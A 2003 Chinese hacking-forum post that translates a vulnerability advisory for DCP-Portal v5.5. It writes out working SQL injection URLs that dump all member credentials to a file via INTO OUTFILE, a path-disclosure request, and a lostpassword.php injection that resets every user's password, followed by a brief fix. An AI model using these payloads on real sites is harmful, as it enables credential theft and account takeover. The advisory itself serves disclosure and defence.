论坛: 黑客进阶 标题: DCPPortal存在严重漏洞 复制本贴地址    
作者: cck123 [cck123]    论坛用户   登录
2003-10-03 16:57:45
by SuccKey(angel)

原作者:lifofifo
翻译整理:SuccKey
站点:http://www.4ngel.net

涉及版本

  DCP-Portal v5.5(5.5版本是05/6/2003发布至尽的最新版本)

描述

  DCP-Portal 是一款基于WEB的内容管理系统,能使管理员远程管理整个站点等。由http://www.dcp-portal.org/开发。由于DCP-Portal所有文件没有过滤用户提交的变量。导致任意用户可轻易利用SQL注入技术来攻击DCP Portal。

详细

  如果服务器的php.ini里magic_quotes_gpc=off,那么DCP Portal是相当危险的。如果php.ini里register_globals=off,那么DCP Portal将不能正常运行。所有的文件里,没有检查用户提交的变量。例如,你可以通过advertiser.php文件获取所有用户名/口令,提交如下语句:
http://localhost/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' or 1=1 UNION select uid,name,password,surname,job,email from dcp5_members into outfile 'c:/apache2/htdocs/dcpad.txt

  如果是WINDOWS服务器,就会在c:/apache2/htdocs/目录下创建dcpad.txt文件。并记录了所有用户的一切敏感信息。但是*nix下却不能这样提交,只有:
http://localhost/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' or 1=1 UNION select uid,name,password,surname,job,email from dcp5_members into outfile '/var/www/html/dcpad.txt

  在这种情况下。需要知道程序的绝对路径。当php.ini里的display_errors=on。提交以下语句,就可以返回绝对路径。
http://localhost/dcp/advertiser.php?adv_logged=1&username=1&password=' 

  在查询里使用UNION函数的前提,是服务器必须运行着MySQL 4.x,因为只有MySQL 4.x才支持子查询。如果服务器运行MySQL 3.x。我们还可以利用lostpassword.php文件。提交以下语句:
http://localhost/dcp/lostpassword.php?action=lost&email=fake' or 1=1--'

  这是对DCP Portal来说是严重的。因为这样会重置所有用户的密码、所有用户将收到和用户数一样多的邮件,并且所有用户的密码将是在最后电子邮件里提供的那个。

解决办法

  我不可能提供好的解决办法。但是只要把magic_quotes_gpc设置为on。就可以解决这些问题。另外,可以随时关注官方的补丁。



select category ------------------------------- 更新公告 原创天地



地主 发表时间: 10/08 08:57

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号